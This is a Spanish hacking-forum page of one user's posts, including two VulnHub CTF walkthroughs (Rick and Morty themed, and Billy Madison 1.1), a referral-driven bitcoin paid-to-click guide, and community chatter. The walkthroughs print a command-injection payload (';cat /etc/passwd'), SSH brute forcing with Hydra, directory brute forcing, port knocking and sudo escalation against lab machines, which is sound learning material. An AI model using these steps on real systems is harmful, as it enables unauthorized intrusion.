Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - shkz

#1
Off Topic / #HackTheBox, ¿gente activa?
Octubre 27, 2019, 04:49:58 PM
Buenas gente vi algunos posteos pero algo fuera de tiempo, quería saber si hay gente activa de underc0de en HackTheBox.
Estoy junto a algunas personas mas y estamos dándole vicio mal jaja. Ya metimos algunas maquinas pero somos nuevos en la plataforma. Aunque en mi caso ya me hice VIP para poder aprovecharlo mejor.

Cualquiera que quiera sumarse o estar en contacto ya sea nuevo o experimentado, estaria bueno estar en contacto para poder rankear mejor y poder avanzar tambien como crecimiento personal.

Si no saben que es HackTheBox, es una plataforma la cual provee de maquinas con su respectiva autorizacion para que trates de hacer un pentesting y capturar el user y el root flag de las mismas. Cada maquina se presenta con ciertas dificultades de seguridad la cuales nos ponen a prueba a nosotros para ir avanzando por el objetivo.
Es algo muy provechoso a nivel conocimiento. Y aun mejor cuando se trata de competir y progresar.. posee un sistema de ranking y hasta un sistema de trabajo que ofrecen, de momento somos pocos y nuevos en la plataforma pero pueden contactarme para apuntarse, no dejo links por aca para no hacer spam ni ir en contra e las reglas.

Estaba en dudas de si postearlo aca o en offtopic, pero como en el fondo el objetivo es el pentesting/hacking decidi aca, lamento si es erroneo.
Saludos!
#2
Buen día, me levante con ganas de generar una 'encuesta' o estadística.. no sabia si ponerlo acá o en general, pero considero que es un mini debate.. sino muévanlo.

La pregunta es sencilla.. y parte me esta sucediendo a mi también actualmente.

¿Cuantos hackers conocen, o cuantas personas (ustedes inclusive) se dedican a investigar seguridad en tiempos libros, o aprender pero teniendo un oficio diferente al ámbito de seguridad, etc?.

Queda claro que aquellos que le pasiona este mundo y comenzamos desde muy chicos, la gran mayoria se dedica como trabajo principal el ambiente. Pero en mi caso hoy las cuestiones de la vida me llevaron a otro rumbo, sin dejar la pasion de lado y todas las horas que tengo libre se las dedico a abir la laptop e iniciar mi linux e investigar.

Saludos,
Gracias aquellos que aporten.

#3

Queria compartirles con ustedes para aquellos que buscan despejarse un poco y entretenerse este juego que ya tiene sus años, pero que ahora relanzo su segunda version mas moderna con una version de desktop sistema operativo.

El juego en si tiene un tutorial que practicamente te ayuda en todo por primera vez.

Se trata de hacer plata, y hackear a todo lo que se te cruce, tenemos misiones con pc's randoms usada como NPC's y tenemos players reales que intentaran hackear esos nps, hackearte a vos y tratar de infectarte para convertirte en un esclavo de su botnet. Se me volvio muy adictivo ultimamente y la verdad que lo disfruto, mas que nada porque podes customizar todo el escritorio, con themes de la comunidad o editandolos vos mismo y compartiendolos.

La consola utiliza comandos de 'linux', y algunos agregados.. es intuitiva y comoda. Tenemos que constantemente ocultas todo tipo de log ya que si descubren nuestra IP nos van a hackear, dependiendo que tan evolucionado tengamos los firewalls y protecciones. Asi mismo para hackear nosotros a otros players experimentados necesitaremos un software de nivel alto que iremos evolucionando y comprando al pasar el tiempo segun nuestros exclavos y hackeos realizados, misiones, cuenta de banco heackeada, etc..

Tiene hasta un creador de Memes para reirnos de nuestras victimas y compartirlo en el chat online que posee como apartado en nuestro mismo escritorio para hablar en tiempo real.. programar ataques con clanes, etc.





LINK: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#4
Bueno gente luego de un tiempo de no hacer CTF por mucho trabajo, avanzo con uno mas que aun no tienen respuesta, esta subido apenas hace 1 mes casi, este es mi perfil en VulnHub ya llevo 4 resueltos entre los primeros top 5 / 10 depende el CTF.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta  - Mi blog No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Link de referencia del CTF: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Let's GO!



Se procede a escanear el host vulnerable, en mi caso siguiente IP: 192.168.0.93.
$> nmap -p 1-65535 -T4 -A -v 192.168.0.93

El resultado arroja datos interesantes, posee los siguientes puertos abiertos:



Procedo a testear cada puerto en busca de informacion util.. empiezo con el vsftpd en el puerto 21, utilizando Filezilla, como no tengo ninguna credencial, simplemente conecto y veo que loguea como Anonymous..



Si entro al directorio /pub/, veo que no hay nada, y que no tengo permisos tampoco para crear archivos. Me queda verificar el otro archivo interesante llamado "FLAG.txt":

FLAG{Whoa this is unexpected} - 10 Points

Ok, ya tenemos 10 puntos de 130.
Mmm... esto me recuerda a "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta"

Conecto al puerto 22 con netcat y me encuentro con lo siguiente:



Es raro porque el CTF corre en un fedora, sin embargo nos arroja un banner de "Ubuntu 14.04", sin dudas hay algo que no anda bien ahi.. sigo investigando.

Abro el browser y conecto al site que tiene en el puerto 80, una imagen de fondo y el codigo fuente no parece arrojar mucho contenido:



Verifico con el browser el puerto 9090; el cual segun nmap nos habla de un 'Cockpit web service', para interiorizarme un poco mas encuentro la siguiente url: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. La cual nos explica que es una app web que provee una facil administracion para servers linux, principalmente desarrollada para Fedora pero que pueden ser usadas en otras distros tambien.

Sin embargo, en esa web vemos que poseemos un LOGIN correcto con su respectivo campo de USERNAME y PASSWORD, cosa que no vemos en el host vulnerable. Como sea, obtenemos 10 puntos mas segun la frase del index "FLAG {THERE IS NO ZEUS, IN YOUR FACE!} - 10 POINTS":



Ok continuamos.. el siguiente puerto raro es el 13337:



Bien, conseguimos 10 puntos mas.. ya llevo "30 puntos" de 130. Sigo..

De momento el puerto 22222 donde parece haber un servidor SSH no me es interesante, solo de momento, y procedo a conectar al siguiente y ultimo puerto el 60000:



Wow.. parece ser una reverse shell.. publica???. Investigo y me permite alistar archivos y encontrar un flag mas, ahora tenemos 40 puntos de 130:


# ls -lah
FLAG.txt
# cat FLAG.txt


FLAG{Flip the pickle Morty!} - 10 Points

Sin embargo, no puedo hacer mucho mas, que decepcion..

Voy a enfocarme en el sitio web a ver si puedo encontrar algo. Realizo un escaneo simple con Nikto y me arroja lo siguiente:



Veo que existe el archivo "robots.txt".. suelo darle prioridad siempre a eso, luego prosigo con lo demás en el orden correspondiente. Este archivo suele darme una idea, de que cosas el administrador quiere que los bots, personas, etc, encuentren y que no.



Bien se pone interesante, si me dirijo a root_shell.cgi, no puedo hacer mucho, ademas del mensaje en el codigo fuente gracioso, luego el directorio en general cgi-bin no me permite ver el contenido.
Lo único que permite hacer algo es el "tracertool.cgi".. que como dice su nombre, parece ser una herramienta tracert.



Bien por lo que veo el funcionamiento no es mas que una simple llamada a "traceroute" por ejemplo:


$> traceroute No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Se me viene a la mente de poder lograr hacer command injection, es un simple ataque en el que se busca como objetivo ejecutar codigo arbitrario remotamente sobre el sistema operativo host via una app vulnerable como en este caso puede ser el form del trace.

Se podría romper de varias maneras la instrucción pero con un simple ";" creo que bastaría seguido de un pwd:



Bien, vamos a intentar cat'ear el passwd:


;cat /etc/passwd


Y obtenemos la respuesta de un grafico ASCII lo que parece ser un gato.. so.. algo anda mal, voy a probar verificar con otro archivo, intento un $> cat /bin/bash y me arroja nuevamente el gato.
Por ende, creo entender que pasa, el /usr/bin/cat fue modificado... para que siempre que se use, termine arrojando el gatito.. vamos a probar otro comando, podria ser HEAD, o MORE.

Voy a sacarme la duda y hago un MORE /usr/bin/cat a ver que pasa:



Bingo, como deduje el binario 'cat' fue modificado.. ahora sabemos que el MORE funciona bien. Probamos nuevamente con ;more /etc/passwd:



Ok, obtuvimos el password que estaba oculto en el html como comentario. No tengo otra mejor idea que probar este password con los 3 usuarios que encontramos anteriormente en el sistema:



  • shad0w@SHRC-GOV:~$ ssh [email protected] -p 22222
    The authenticity of host '[192.168.0.93]:22222 ([192.168.0.93]:22222)' can't be established.
    ECDSA key fingerprint is SHA256:rP4CX/V9xNZay9srIUBRq2BFQTnmxUO9cs1F3E9yzg0.
    Are you sure you want to continue connecting (yes/no)? yes
    Warning: Permanently added '[192.168.0.93]:22222' (ECDSA) to the list of known hosts.
    [email protected]'s password:
    Permission denied, please try again.


No tuve suerte con RickSanchez, tampoco con Morty, sin embargo....Summer funciono:



Ok, alisto los archivos y veo el FLAG.txt:



  • [Summer@localhost ~]$ ls -lah
    total 20K
    drwx------. 2 Summer Summer  99 sep 15 11:49 .
    drwxr-xr-x. 5 root   root    52 ago 18 18:20 ..
    -rw-------. 1 Summer Summer   1 sep 15 11:51 .bash_history
    -rw-r--r--. 1 Summer Summer  18 may 30 14:53 .bash_logout
    -rw-r--r--. 1 Summer Summer 193 may 30 14:53 .bash_profile
    -rw-r--r--. 1 Summer Summer 231 may 30 14:53 .bashrc
    -rw-rw-r--. 1 Summer Summer  48 ago 22 02:46 FLAG.txt
    [Summer@localhost ~]$ more FLAG.txt

FLAG{Get off the high road Summer!} - 10 Points

Ahi tenemos 10 puntos mas y ya vamos 50 puntos de 130. Aprovecho ir a /var/www/html/passwords/FLAG.txt que anteriormente no habia ido y se me paso por alto para obtener 10 puntos mas. Ahora tenemos 60 de 130 puntos.

Investigo por los diferentes /home/ y veo que en el de /home/Morty hay dos files interesantes:



  • [Summer@localhost Morty]$ ls
    journal.txt.zip  Safe_Password.jpg

El No tienes permitido ver los links. Registrarse o Entrar a mi cuenta esta comprimido con clave. El archivo Safe_Password.jpg parece tener algun tipo de pista con ese nombre.. por ende trato de descargarlo para analizarlo mejor localmente..

Lo descargo via SSH con el SCP de la siguiente manera:



  • shad0w@SHRC-GOV:~$ scp -P 22222 [email protected]:/home/Morty/Safe_Password.jpg /home/shad0w/Escritorio/


Trato de extraer cadenas del archivo a modo investigación manual y me encuentro con lo siguiente:



Bingo, parece que tenemos un posible password.. trato de descargar el archivo comprimido y luego procedo a extraerlo:



Genial, 20 puntos mas.. 80 de 130 tenemos. Y prestamos atencion al mensaje del FLAG que nos da una pista, 131333.

Sigo investigando y me voy a la carpeta de RickSanchez/, me encuentro un file llamado SAFE, parece ser un binario, si embargo como muestro en la imagen al estar con el usuario Summer y verificar los permisos del archivo Safe, no me permitiría ejecutarlo ya que no tiene permisos:



Bien lo que se me ocurre es copiarlo a alguna carpeta en la que podamos ejecutarlo, y nos pertenezca.
Podriamos probar en /home/Summer o el clasico y viejo amigo /tmp.. de momento lo hice en /home/Summer, luego lo ejecute sin argumentos el cual recibo una pista, y recuerdo el numero de flag que me habia dado anteriormente junto al mensaje, era: 131333. Pruebo nuevamente ejecutando safe y el numero se lo paso como argumento, recibo lo siguiente:



Recibimos 20 puntos mas, obteniendo 100 puntos de 130. El mensaje deja algunas pistas como las de no olvidar como crear un script para generar passwords, que sigamos esas pistas en orden.. 1 uppercase y 1 digito.. mmmm algo tendre que romper je je. Como ultima pista nos dice que la palabra tiene como relacion su antigua banda.

Como no soy seguidor sinceramente de esta serie, busco en google por ayuda.. con un simple search con palabras clave como "rick sanchez+old band", el primer resultado me informa que la banda de Rick Sanchez era:



Bien, tenemos el nombre de la banda "The Flesh Curtains". Y el mensaje anterior nos dijo que hagamos las cosas en ORDEN, por ende la password estaría compuesta de la siguiente manera según las pistas dadas: 1 UPPERCASE + 1 DIGIT + 1 PALABRA DE SU ANTIGUA BANDA (Flesh o Curtains, como el THE es un articulo, trato de no probarlo, en caso de que falle lo incluyo mas adelante nuevamente).

Podría hacerlo de varios modos el diccionario, pero voy a codear algo simple en python.



Una vez se me genera el diccionario uso un programa como THC HYDRA para atacar el SSH.



Y luego de unos minutos de ataque por fuerza bruta el diccionario funciono:



Bingooooo... bien, de que sirve esto?, conectarnos por SSH como RickSanchez, con una pista del flag anterior que decía "Sudo is wheely good".. que me esta queriendo decir? que RickSanchez pertenece al grupo sudoers?. Como me doy cuenta si un usuario en Linux tiene permisos sudo? fácil, con $> sudo -l, a continuación pongo la diferencia a la izquierda logueado con RickSanchez y a la derecha con Summer... ambos tipeando sudo -l:



Confirmamos que RickSanchez pertenece a SUDOERS y puede ejecutar lo que se le de la gana. Hacemos un simple "sudo su" y somos root. Nos vamos a la carpeta /root/ y vemos el FLAG.txt. Obtenemos el ultimo flag y los 30 puntos que nos llevan a 130. CTF RESUELTO!! :D

# shkz
# No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#5
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta and BITCOINS.
-----------------------------------------------

0x01 - Introduccion.

Que tal gente, voy a ser sincero y directo, y en lo posible sencillo. Este paper no va a cambiar tu economia, ni va a hacerte rico de la noche a la mañana, pero si se logra armar una buena estrategia se puede llegar a recibir buenas sumas mensualmente de dinero, para costear algunos gastos de nuestra vida. Siempre y cuando nuestro talento y creatividad para lograr eso este presente.

0x02 - Que es BITCOIN?.

Bitcoin es la primer moneda descentralizada. Son monedas digitales que se pueden enviar solo por internet y pueden ser transferidas de persona a persona directamente sin ningun tipo de intermediario, mas que un monedero virtual o cuenta donde poseemos nuestros bitcoins y una direccion de alguien a quien vamos a enviarselos. Esto hace que las comisiones sean mucho menores ya que no hay ningun tipo de banco de por medio, ni entidades financieras que molesten.

Se puede usar a nivel internacional, suele ser anonimo ya que solo se necesita la direccion de la persona que se le envia dinero y esta conformada mediante un hash. La cuenta no puede ser congelada tampoco hay requisito previo para tener una cuenta.

Como dato adicional, hoy en dia BITCOIN se acepta en gran parte del mundo, hay bares que aceptan bitcoins, meceras que reciben su propina en bitcoins, se pueden comprar libros por internet, juegos para consolas, y hasta rentar servidores, vpns, y etc de cosas en bitcoin.

0x03 - Crecimiento de BITCOIN.

Los ultimos seis meses de bitcoin fueron realmente buenos, ya que no ha dejado de crecer.. supera casi el 300%. Si bien hubo algunas burbujas, financieramente hablando, bitcoin la supero y actualmente sigue en crecimiento. Sin muchas vueltas a nosotros nos importa el ahora hacer algo de "diferencia economica".

0x04 - Creando nuestro monedero virtual.

En la siguiente pagina que adjunto se podran crear un monedero totalmente gratuito: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Se dirigen a la parte superior de esta pagina y veran que dice "GET A FREE WALLET"
Siguiendo el registro de alta y confirmada la cuenta, y logueados ya dispondran de un monedero en donde podran enviarles dinero bitcoin o ustedes enviarles a otros en caso de tener saldo.

0x05 - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Registrarse en la siguiente imagen que es mi referido de paso me ayudan:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Bien, esta pagina existe aproximadamente desde el 2013, ya tiene 4 años que lo respaldan y muchos amigos que cobraron sin ningún problema de manera instantánea.. es una de las primeras paginas que utilizan el modo PTC, Paid To Click. Pagan por ver publicidad en BITCOIN. Un Bitcoin puede dividirse en 1000 partes y a esto equivale un mBTC.
1 mBTC = 0.001 BTC (Bitcoin)

Una vez se registran y se loguean veran un dashboard bastante sencillo.



En la parte superior de la pantalla tenemos la solapa mas importante que es la de SURF ADS, si vamos ahi nos mostrara una lista (depende cada uno puede que haya mas o menos ADS), allí veremos links de publicidad que debemos mirar, y cuanto nos pagaran por cada uno que veamos, esta pagina se maneja con mBTC. Mirándolo asi no es gran plata, mas aun considerando que nos dejaran extraer los mBTC a nuestro monedero que creamos anteriormente cuando lleguemos a los 0.10000 mBTC de balance.



Al hacer click en un link, se los recomiendo abrirlo en "UNA NUEVA VENTANA" y que no este maximizada, de este modo cuando lo abren podrian pasar a seguir haciendo sus cosas, sin tener que esperar esos segundos de un contador que les sale, en el cual deberian estar mirandolo en la pantalla hasta llegar a 0 y luego ingresar el captcha para validar y que nos den el pago. En caso contrario de no abrirlo asi y abrirlo como pestaña nueva, si no hacen foco a esa pestaña el contador se detiene y seria mas perdida de tiempo, ademas de aburrirnos.

Una vez que termina el contador, e ingresamos el captcha correctamente, nos sale un cartel como el siguiente de que nos pagaron:



0x06 - No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Incrementando la ganancia, sacandole jugo a todo esto.

Bien, hasta ahora haciendo eso, practicamente no nos deja nada de plata significante, ya que por dia de esta manera haran 0.00150 mBTC que si lo convierten a dolar de hoy es: 0.0086, osea NADA, mejor me voy a dormir una siesta.

Pero no, antes que nada, siempre es mejor hacer algo... Esta pagina tiene algo muy copado que nos ayuda a incrementar las ganancias, de tres modos, uno es una inversion de parte nuestra, haciendonos Miembros Premium en el cual tenemos 3 tipos de periodos, costando el anual unos 3,456 mBTC. (Un gran conversor bitcoin a divisa segun cada pais: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta). Una vez que somos premium, los avisos que tenemos que ver, nos pagara el doble acelerando el proceso de recaudacion.
Ademas btcclicks verifica nuestro patron y si nos conectamos todos los dias y cumplimos con casi todos los ADS diarios que nos dan para ver, nos aumentara la paga por cada uno de esos, por ende si tenemos premium, nos duplica mas aun.

La segunda opcion, es la de por clicks y referidos, (que por cierto dejo mi link, ayudemosnos entre todos ;D. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta).

Si manejas un buen flujo de trafico de alguna pagina, o logras que mucha gente se registre desde tu link y haga lo mismo que vos, vea publicidad diariamente, comienza a tener importancia todo esto de BTCCLICKS, ya que por cada referido que se registre y vea publicidad, por cada publicidad vos recibis el 80% de la comision.

Entonces imaginemos si tenemos 40 personas diariamente viendo publicidad, por cada publicidad de cada uno de ellos estarias ganando el 80% de la comision. Practicamente con el pasar el tiempo en semanas ni si quiera tendrias que ver publicidad vos, y el balance aumentaria diariamente a una gran velocidad.

Tu link para compartir y obtener referidos es desde esta parte del menu:



Por ultimo, tenemos otro modo propio de la pagina, que permite RENTAR referidos; por una suma de mBTC por dia, podemos alquilarlos por 7, 15, o 30 dias. Y podemos elegir tambien la cantidad de referidos que deseamos alquilar siempre y cuando el balance nos de, y tambien si nos conviene alquilarlos.

De este modo otras personas verian ADS y como en el caso anterior nos daria la comision por cada publicidad que clickean y miran.

0x07 - Resumiendo..

Como resumen, solo comentar que si solo vamos a dedicarnos a hacer clicks nosotros a muy largo plazo recien veremos algun logro, la idea es un poco trabajo de hormiga y otro poco expandir y convencer a otros que hagan lo mismo para lograr asi comisiones..

Una vez que se tenga cierta cantidad de referidos, recien ahi recomiendo hacernos Miembros Premium para poder sacarle jugo a la situacion sobre una buena base ya armada y de ingreso diario.

Por otro lado, hay muchas paginas mas que pueden encontrar por Google y las cuales permiten ganar bitcoins, con tecnicas de minar, etc.

Personalmente creo que si juntamos todo lo que describi en este texto, junto a otras paginas webs, a un mediano plazo estariamos obteniendo buenos ingresos..

Espero haya sido de utilidad para al menos dar una idea, y volar la imaginacion de como expandir todo esto y obtener al menos unos dolares..

Saludos, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#6
Off Topic / Interesante tweet de Julian Assange
Octubre 15, 2017, 08:41:11 PM
Interesante tweet hace 2 horas de Julian Assange no?. Vaya uno a saber a que referenciara eso..

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


#7
Off Topic / Manipulación de cara..
Octubre 14, 2017, 12:08:39 AM
Les dejo este posteo interesante, asombroso el face manipulation que se realiza con esta tecnologia.. sin muchas mas palabras adjunto:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#8
Off Topic / Pelicula 'hacker': ALGORITHM.
Octubre 08, 2017, 01:42:15 PM
Gente buenas tardes,
Quería compartirles esta película subida a Youtube gratis de manera LEGAL, en ingles con subtitulos en español y calidad 1080HD. La película es del 2014, pero hace poco la vi y queria compartirla para aquellos que aun no la vieron o estan entrados.

La trama es excelente, casi tanto que hasta el mismo Steve Wozniak (cofundador de Apple) opino: "Sin poder despegarme de la película". Un hacker freelance ha encontrado contenido extraño en un software del gobierno. Sin embargo, su curiosidad hará que él y sus amigos sean perseguidos solo por tratar de descubrir de qué se trata. Ese es el argumento de Algorithm, una película escrita y dirigida por Jon Schiefer.

Sin mas que decir, la comparto, espero que les guste:

ALGORITHM The Hacker Movie: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#9


Bueno segun cada uno y el estilo de vida que lleva, a muchos nos paso que estemos en un Aeropuerto y era importante conectarnos sin tener que usar el plan de datos, les dejo un mapa de los aeropuertos mas importantes del mundo con informacion respecto a sus WIFI y contraseñas.

En algunas son libres, y en otras detalla la clave. Personalmente me sirvió, en algunos de USA. Replico la info para aquellos que necesiten conectarse desde algún aeropuerto y no quieran pagar la membresia que generalmente te suelen cobrar.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#10
Off Topic / Armar team de research via IRC.
Septiembre 24, 2016, 02:38:06 AM
Buenas hoy estaba hablando con un usuario en el irc de underc0de. Y luego de unos privados, se me ocurrió que tal armar algún 'team' de research, no me refiero a un team pro anonym0us e ir tirando webs por internet, sino un team por así llamarlo formalmente 'ético', para darle mas movimiento al IRC y así también investigar o simplemente ayudar a personas que tengan interes en evolucionar en el research de seguridad/inseguridad.

Lo posteo acá en off-topic porque es algo que se me ocurrió en base a la charla con esta persona y ayudarlo en un CTF.
Por ejemplo ya que nombre CTF, podríamos de hecho entre todos elegir un CTF, y tratar de pasarlo, la idea seria no utilizar alguna guia, ni nada, cada uno independientemente, pero todos en el mismo objetivo, a medida que alguien se estanque alguno dar alguna pista, y asi ayudar en tiempo real. De esta manera permite mas interactividad y proactividad de dudas y preguntas. Obviamente el dia de mañana podriamos buscar vulnerabilidades webs en ambientes reales o como les parezca, de una manera etica y solo con el fin de progresar.

Es algo que se me ocurrió... no se si es buena o mala idea, pero lo que si como requerimientos estaria bueno que aquellos que se sumen deberían tener un básico de linux terminal, ingles, y sobre todas las cosas disponibilidad al menos de 1 o 2 horas por la noche, aunque la mayor actividad podríamos dedicarle el fin de semana. Eso se vera...

No se es una vaga idea que se me ocurrió, yo suelo estar por las noches.. y el IRC suele tener actividad de algunos pero muy escasa, y de este modo podríamos darle mas vida. Tambien podría ser como alternativa algún chat underc0de de modo privado, con password para restringirlo a ciertas personas. No se, cualquier idea que se mezcle con lo que posteo seria bienvenido.

:D

Saludos.

#11
Resolviendo (Billy Madison 1.1 CTF - Walkthrough)
Sin dudas un gran CTF, congrats a Brian Johnson. Como se me hizo costumbre y adicción a estos ctf's, es mi tercer writeup. Les dejo mis dos anteriores Walkthroughs:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

O en la misma web de VulnHub: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Billy Madison 1.1 @ No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

En mi caso la ip objetivo es : [192.168.0.110]. Procedo a escanear el sistema objetivo con nmap y obtenemos el siguiente resultado:


root@X55:/home/cnfs# nmap -T5 -v -A 192.168.0.110 -p0-65535

Código: php
Discovered open port 445/tcp on 192.168.0.110
Discovered open port 23/tcp on 192.168.0.110
Discovered open port 22/tcp on 192.168.0.110
Discovered open port 139/tcp on 192.168.0.110
Discovered open port 80/tcp on 192.168.0.110
Discovered open port 2525/tcp on 192.168.0.110
Discovered open port 69/tcp on 192.168.0.110



Ok, 7 puertos.. vamos a investigar.

# PORT_445 y 139:

Pertenece a SMB. Verificamos y nos damos cuenta que permite el ingreso de usuario anónimo:



Si hacemos un 'more ebd.txt' logramos leer el siguiente contenido:

"Erics backdoor is currently CLOSED"

Mm que raro nos dará info veraz sobre el estado de algún troyano en el servidor?.. sigamos. Los archivos restantes los verifique y no logre obtener info relevante, así mismo la carpeta IPC$ no me permitía hacer nada de momento.

# PORT_23:

El puerto por default de telnet... veamos:



Wow... se pone interesante.  Parece que hemos sido 'baneados' momentáneamente, y si intentamos re-conectar al puerto con netcat, ya no nos deja.

Me llama la atención esta frase "I don't use ROTten passwords like rkfpuzrahngvat anymore"...

ROTten.. passwords.. rkfpuzrahngvat... mmm todo parece indicar que se refiere a un cifrado. Y creo estar en lo cierto, ROT13 es un cifrado Cesar que suele utilizarse para esconder un texto. Se suele cambiar las letras por 13 posiciones del abecedario adelante. Es decir para "R"+13 lugares hacia delante seria "E" y así.. utilizo el diccionario INGLES en este caso. Compruebo con la siguiente web que me facilita el trabajo:



Y el resultado es: exschmenuating

Mmmm espero tener razón y que esto me sirva en algún momento.
Seguimos investigando los puertos.

# PORT_22:

Intente de mil maneras conectarme y tratar de obtener información relevante pero no logro obtener nada. Procedo a seguir con otro puerto.

# PORT_80:

Nos conectamos via browser al puerto HTTP y nos arroja el siguiente resultado:




Bueno parece que nos da un poco de información sobre que pudo haber sucedido.. nos dice que si estamos leyendo esto, es porque ha clickeado en el link que le enviaron y que la pc fue bloqueada y no se puede acceder al trabajo en el que tanto ha trabajado Billy para graduarse.

# PORT_2525:

No nos da mucha información solo podemos rescatar un banner que nos da referencia a que esta corriendo "220 BM ESMTP SubEthaSMTP", si googleo un poco entiendo según la siguiente web (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta) que es una implementacion SMTP en java. Pero no podemos saber mas nada sobre esto actualmente... seguimos.

# PORT_69:

Si revisamos con atención el resultado de NMAP nos decía lo siguiente sobre el puerto 69:

69/tcp   open   http  BaseHTTPServer
| http-generator: WordPress 1.0
| http-methods:
|_Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: MadisonHotelsWordpress
|_http-title: Welcome | Just another WordPress site
Parece ser que corre un tipo de Wordpress site... vamos a verificarlo via browser:




Efectivamente, vemos que parece ser un tipo de blog. Voy a proceder a correr la conocida herramienta WPSCAN y ver en que puede ayudarme:

Código: php
cnfs@X55:~/bin/wpscan$ ruby ./wpscan.rb --url 192.168.0.110:69


Y el resultado es el siguiente:



Hay algunas cosas que resaltar, parece ser un Wordpress 1.0 lanzado en el 2004... sin embargo tiene un theme que pertenece al 2011.. (si bien no es relevante esto, hace ruido..) sin ningún tipo de plugin instalado, por otro lado no logra encontrar el path del THEME. "wp-content" parece no existir.

Y por ultimo el header segun WPSCAN lo resalta como interesante: "MadisonHotelsWordpress".

Esto me hizo volver al mensaje del netcat en el puerto 23. Donde descifre el mensaje en ROT13, intente agregarlo como "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta".. sin embargo no funciono.. ya dándome por vencido pensando que era una mala idea, intente ingresarlo en el default HTTP puerto 80: "No tienes permitido ver los links. Registrarse o Entrar a mi cuenta", y... funciono!:



Vemos al parecer que son unas notas hechas por Eric, (el que intenta arruinar la vida de Billy). Anota que intentara atacar otras victimas, entre ellas la novia de Billy, "Veronica".. intentara atacarla mediante un phishing y ver si ella cae. Luego por la ultima nota vemos que al parecer funciono, Veronica cayo ante el phishing.

Nos da a entender que el "capturo todo el trafico" y el nombre del file contiene la palabra "veronica". Luego hay un monitor log que indica las ip's baneadas. Entre ellas en la actualidad aparece mi IP jeje... recuerdan cuando me baneo el telnet?.

Seguramente haya otras maneras de hacerlo quizás sin usar tantos recursos, o en algún wordlist pre-creado por internet, pero prefiero utilizar crunch como modo 'creativo' y crear mi propio Wordlist, mediante el cual lo invocaremos con dirbuster para bruteforcear el path http y encontrar el ".cap" que dice que guardo.

Luego de algunos testeos decido crear con Crunch el siguiente wordlist:



Una vez generado, lo invoco con dirbuster y bruteforceo el path http:



Y al parecer funciono, obtengo un código [200] con el siguiente file:



FILE: "012987veronica.cap"



Una vez descargado lo siguiente era abrir el archivo ".cap" con el wireshark y analizarlo.

Bien, logramos entender como es que Veronica cayo en el PHISHING enviado por Eric.
Hay una serie de e-mails capturados en el "012987veronica.cap". El primero de ellos:



Luego con la seguidilla de mails, Veronica le responde que el Antivirus bloqueo ese archivo, que intente subirlo el directamente via FTP. El cual permanece oculto hasta que se lo invoca mediante el "Spanish Armada" combo... mmm que sera esto. Y nos adjunta una direccion de Youtube en relación a BillyMadison y su teacher (hermosa).

El le contesta que por favor le cree la siguiente cuenta en el FTP username: "eric" y el password "ericdoesntdrinkhisownpee".. Luego ella le responde que fue creada, el envía un nuevo email diciéndole que uplodeo el file y que debería ejecutarlo ella con su cuenta. Finalmente ella le envía el ultimo e-mail reportandole que ejecuto el archivo y que su pc se comporta de manera extraña, el antivirus reporta alerta y que apagara la pc luego de enviarle este ultimo email ya que esta preocupada sobre los archivos que contiene la pc y sobre todo los de Billy sobre su trabajo final de grado.

Termina allí la captura "012987veronica.cap".

Activando el FTP service: Port Knocking.

Ok, para activar el servicio ftp remoto, en el mail de la captura de trafico nos decía que se activaría solo si recibía el "Spanish Armada" combo. Y nos proveía un video de youtube.

Si vemos el video, la teacher le pregunta por "spanish armada" y Billy responde una serie de fechas incorrectas... opto por entender que ese es el 'combo'. Anoto las fechas que dice: (mejoren su listening de Ingles.. o.. un pequeño truquito: activan subtitulos ;D).

El combo: 1466; 67; 1469, 1514; 1981; 1986.

Ok si prestamos atención al mail, nos dice que se activara el ftp si recibe el spanish armada combo, esto podría asimilarse a "Port Knocking". El port knocking es una manera discreta de abrir puertos específicos que el firewall mantiene cerrado. Requiere hacer ciertos intentos de conexiones a una determinada serie o 'combo' de puertos. Una vez sabiendo esto, y determinando que ese combo del video son puertos, vamos a intentar hacer un script para verificar el port knocking, siguiendo referencias de esta web:



Quedaría algo así el script:

Código: php
for port in 1466 67 1469 1514 1981 1986; do nmap -Pn --host_timeout 201 --max-retries 0 -T5 -p $port 192.168.0.110; done


Verificamos:



Luego intento conectar por FTP, cruzo los dedos y.. :



Bingo!!.. verifico si puedo loguear con usuario Anónimo y lo logro. No hay mucho que ver solo un file que parece ser el archivo de final de grado de Billy!..

Código: php
$> cat Billys-12th-grade-final-project.doc 
HHAHAAHAHAH I CAN'T BELIEVE YOU ACTUALLY THOUGHT THIS WAS IT!!!!  WHAT A LOSER! Why don't you go pass
out by the pool for another hour!
-EG


Parece que nos engaño Eric. De todos modos recuerdo que en uno de los mails, Eric le decía a Veronica que le creara una cuenta de FTP con una especifica credencial. Verificamos si funciona:



Ok estamos dentro, verificamos que existen varios archivos, procedo a revisarlos uno por uno, en su mayoría son 'exploits', y luego encuentro un ".notes" interesante, ya que me da cierta información importante:



